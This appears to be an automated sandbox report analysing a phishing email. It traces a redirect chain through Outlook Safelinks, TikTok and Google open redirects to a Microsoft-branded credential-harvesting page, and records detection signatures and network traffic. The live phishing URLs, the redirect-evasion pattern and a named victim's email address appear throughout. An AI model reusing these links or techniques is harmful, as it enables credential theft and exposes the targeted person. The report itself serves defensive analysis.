Edit tour

Windows Analysis Report
Untitled.eml

Overview

General Information

Sample name:	Untitled.eml
Analysis ID:	1530944
MD5:	82d079046def811aa3e18d7dd129bd10
SHA1:	908927db89027fac46e448b169d50b12307d791b
SHA256:	5527e6214fb7badd934a5ba15d438f115ac157ceae50d122821ebbaad4d0c6a5
Infos:

Detection

HTMLPhisher

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Yara detected HtmlPhish10

Yara detected HtmlPhish70

AI detected landing page (webpage, office document or email)

Phishing site detected (based on logo match)

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML body contains password input but no form action

HTML body with high number of embedded images detected

HTML page contains hidden javascript code

HTML title does not match URL

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Invalid T&C link found

JA3 SSL client fingerprint seen in connection with other malware

Queries the volume information (name, serial number etc) of a device

Sigma detected: Office Autorun Keys Modification

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

OUTLOOK.EXE (PID: 6888 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\Desktop\Untitled.eml" MD5: 91A5292942864110ED734005B7E005C0)

ai.exe (PID: 7116 cmdline: "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "9481654E-6412-4E74-B834-5C10E5065AFF" "1BE9F5B3-BC09-46F0-B4EC-321D2A6971AA" "6888" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx" MD5: EC652BEDD90E089D9406AFED89A8A8BD)

chrome.exe (PID: 6516 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://nam04.safelinks.protection.outlook.com/?url=https%3A%2F%2Fwww.tiktok.com%2F%2F%2F%2F%2Flink%2Fv2%3Faid%3D1988%26lang%3Denpihd7s%26scene%3Dbio_url%26target%3Dwww.google.com%2Furl%3Fq%253DIrfT8NMLx6QPaJgv6Z3g%2526rct%253DqsUbQmXhZ93d4gNXIWaR%2526sa%253Dt%2526esrc%253DEgJeLX8CAl11DNSW7pgH%2526source%253D%2526cd%253D9X3EYbyCMUoB46Jqpszn%2526cad%253Dz64Ndl7J844jI5EH33et%2526ved%253D36LRX1krI3rPMEZVSMU2%2526uact%253D%252520%2526url%253Damp%252F%25E2%2580%258Bbay%25C2%25ADrak%25C2%25ADtar%25C2%25ADplaza%25C2%25AD%25C2%25AD.%25E2%2580%258Bco%25C2%25ADm%252Fauth%252Factive%252Fy8E4XKJctWEENyvnBLR6%252FcmFjaGVsLmFuZGVyc29uQGFtZXJpY2Fuc2lnbmF0dXJlLmNvbQ%3D%3D%26source%3Dgmail%26ust%3D1725986149001000%26usg%3DAOvVaw1kdi6SPX1NGpGYFWhG_1Z7&data=05%7C02%7Crachel.anderson%40americansignature.com%7Cea716afa6d36469e78a108dce92d41a9%7C5c02e89ab9684d4e960de62c7cd02766%7C0%7C0%7C638641627826692599%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C20000%7C%7C%7C&sdata=UMW01VeNOABdw6sIGnj5zpPinQYedujNvCzkhwwtiOg%3D&reserved=0 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 5760 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1960 --field-trial-handle=1988,i,4881568969463598969,2888429582230236823,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_80	JoeSecurity_HtmlPhish_70	Yara detected HtmlPhish_70	Joe Security

HTML

Source	Rule	Description	Author
1.1.pages.csv	JoeSecurity_HtmlPhish_70	Yara detected HtmlPhish_70	Joe Security
1.2.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.3.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
2.4.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
2.5.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Sigma Signatures

Sigma detected: Office Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE, ProcessId: 6888, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Outlook\Addins\OneNote.OutlookAddin\1

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html#_rachel.anderson@americansignature.com	LLM: Score: 9 Reasons: The brand 'Microsoft' is a well-known global technology company., The URL 'pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev' does not match the legitimate domain 'microsoft.com'., The URL contains a random string and uses the 'r2.dev' domain, which is not associated with Microsoft., The presence of a password input field on a non-Microsoft domain is suspicious and indicative of phishing., The URL structure suggests it might be hosted on a cloud service, but it does not align with Microsoft's typical domain usage. DOM: 1.3.pages.csv
Source: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html#	LLM: Score: 9 Reasons: The brand 'Microsoft' is a well-known global technology company., The URL 'pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev' does not match the legitimate domain 'microsoft.com'., The URL contains a random string and uses the 'r2.dev' domain, which is not associated with Microsoft., The presence of a 'Forgot my password' input field is a common tactic used in phishing sites to capture user credentials., The URL structure and domain extension are unusual and do not align with Microsoft's typical domain usage. DOM: 2.5.pages.csv
Source: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html#	LLM: Score: 9 Reasons: The brand 'Microsoft' is a well-known global technology company., The URL 'pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev' does not match the legitimate domain 'microsoft.com'., The URL contains a random string and uses the 'r2.dev' domain, which is not associated with Microsoft., The presence of a password input field on a non-Microsoft domain is suspicious and indicative of phishing., The URL structure suggests it might be hosted on a cloud service, but it does not align with Microsoft's typical domain usage. DOM: 2.4.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 1.2.pages.csv, type: HTML
Source: Yara match	File source: 1.3.pages.csv, type: HTML
Source: Yara match	File source: 2.4.pages.csv, type: HTML
Source: Yara match	File source: 2.5.pages.csv, type: HTML

Yara detected HtmlPhish70

Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_80, type: DROPPED

Phishing site detected (based on logo match)

Source: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2Fp	Matcher: Template: microsoft matched
Source: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2Fp	Matcher: Template: microsoft matched
Source: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2Fp	Matcher: Template: microsoft matched
Source: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2Fp	Matcher: Template: microsoft matched

Source: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html#_rachel.anderson@americansignature.com	HTTP Parser: Number of links: 0
Source: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html#	HTTP Parser: Number of links: 1

Source: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html#_rachel.anderson@americansignature.com	HTTP Parser: <input type="password" .../> found but no <form action="...
Source: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html#	HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html#_rachel.anderson@americansignature.com	HTTP Parser: Total embedded image size: 45687
Source: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html#	HTTP Parser: Total embedded image size: 45687

Source: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html#_rachel.anderson@americansignature.com

HTTP Parser: Base64 decoded: {"a":"67R+1mnAXCJjKo\/L7UD1b+E7HgJZgbcg1s3POfg8yjw=","c":"f26470e2c3e33d9d2b37556fe4493b2f","b":"02150c55fab23c49354f25c83720562ef2eb61f2dfe2199ed5d80ec50f32686ffaa73f4806b6e433b2b40bf052be43701d717471505596c312a080d075b45925c3e07e88a22acb8946655708cec712...

Source: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html#_rachel.anderson@americansignature.com	HTTP Parser: Title: Log-in to your account does not match URL
Source: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html#	HTTP Parser: Title: Log-in to your account does not match URL

Source: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html#_rachel.anderson@americansignature.com	HTTP Parser: Invalid link: Fruits with antioxidants help reduce inflammation.
Source: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html#_rachel.anderson@americansignature.com	HTTP Parser: Invalid link: Fruits with antioxidants help reduce inflammation.
Source: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html#	HTTP Parser: Invalid link: Fruits with antioxidants help reduce inflammation.
Source: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html#	HTTP Parser: Invalid link: Fruits with antioxidants help reduce inflammation.

Source: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html#_rachel.anderson@americansignature.com	HTTP Parser: <input type="password" .../> found
Source: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html#	HTTP Parser: <input type="password" .../> found

Source: https://bayraktarplaza.com/auth/active/y8E4XKJctWEENyvnBLR6/cmFjaGVsLmFuZGVyc29uQGFtZXJpY2Fuc2lnbmF0dXJlLmNvbQ==	HTTP Parser: No favicon
Source: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html#_rachel.anderson@americansignature.com	HTTP Parser: No favicon
Source: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html#_rachel.anderson@americansignature.com	HTTP Parser: No favicon
Source: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html#_rachel.anderson@americansignature.com	HTTP Parser: No favicon
Source: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html#	HTTP Parser: No favicon
Source: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html#	HTTP Parser: No favicon

Source: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html#_rachel.anderson@americansignature.com	HTTP Parser: No <meta name="author".. found
Source: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html#_rachel.anderson@americansignature.com	HTTP Parser: No <meta name="author".. found
Source: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html#	HTTP Parser: No <meta name="author".. found
Source: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html#	HTTP Parser: No <meta name="author".. found

Source: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html#_rachel.anderson@americansignature.com	HTTP Parser: No <meta name="copyright".. found
Source: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html#_rachel.anderson@americansignature.com	HTTP Parser: No <meta name="copyright".. found
Source: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html#	HTTP Parser: No <meta name="copyright".. found
Source: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html#	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 40.126.32.138:443 -> 192.168.2.17:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.17:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.138:443 -> 192.168.2.17:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.138:443 -> 192.168.2.17:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.60.203.209:443 -> 192.168.2.17:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.60.203.209:443 -> 192.168.2.17:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.17:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.5.88:443 -> 192.168.2.17:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.86.251.27:443 -> 192.168.2.17:49749 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: nam04.safelinks.protection.outlook.com to https://www.tiktok.com/////link/v2?aid=1988&lang=enpihd7s&scene=bio_url&target=www.google.com/url?q%3dirft8nmlx6qpajgv6z3g%26rct%3dqsubqmxhz93d4gnxiwar%26sa%3dt%26esrc%3degjelx8cal11dnsw7pgh%26source%3d%26cd%3d9x3eybycmuob46jqpszn%26cad%3dz64ndl7j844ji5eh33et%26ved%3d36lrx1kri3rpmezvsmu2%26uact%3d%2520%26url%3damp%2f%e2%80%8bbay%c2%adrak%c2%adtar%c2%adplaza%c2%ad%c2%ad.%e2%80%8bco%c2%adm%2fauth%2factive%2fy8e4xkjctweenyvnblr6%2fcmfjagvslmfuzgvyc29uqgftzxjpy2fuc2lnbmf0dxjllmnvbq==&source=gmail&ust=1725986149001000&usg=aovvaw1kdi6spx1ngpgyfwhg_1z7
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: www.google.com to http://bayraktarplaza.com/auth/active/y8e4xkjctweenyvnblr6/cmfjagvslmfuzgvyc29uqgftzxjpy2fuc2lnbmf0dxjllmnvbq==

Source: global traffic

HTTP traffic detected: GET /ab HTTP/1.1Host: evoke-windowsservices-tas.msedge.netCache-Control: no-store, no-cacheX-PHOTOS-CALLERID: 9NMPJ99VJBWVX-EVOKE-RING: X-WINNEXT-RING: PublicX-WINNEXT-TELEMETRYLEVEL: BasicX-WINNEXT-OSVERSION: 10.0.19045.0X-WINNEXT-APPVERSION: 1.23082.131.0X-WINNEXT-PLATFORM: DesktopX-WINNEXT-CANTAILOR: FalseX-MSEDGE-CLIENTID: {c1afbad7-f7da-40f2-92f9-8846a91d69bd}X-WINNEXT-PUBDEVICEID: dbfen2nYS7HW6ON4OdOknKxxv2CCI5LJBTojzDztjwI=If-None-Match: 2056388360_-1434155563Accept-Encoding: gzip, deflate, br

Source: Joe Sandbox View	IP Address: 104.17.24.14 104.17.24.14
Source: Joe Sandbox View	IP Address: 162.159.140.237 162.159.140.237
Source: Joe Sandbox View	IP Address: 162.159.140.237 162.159.140.237
Source: Joe Sandbox View	IP Address: 104.18.95.41 104.18.95.41

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.138
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.138
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.138
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.138
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.138
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.138
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.138
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.138
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.138
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.138
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.138
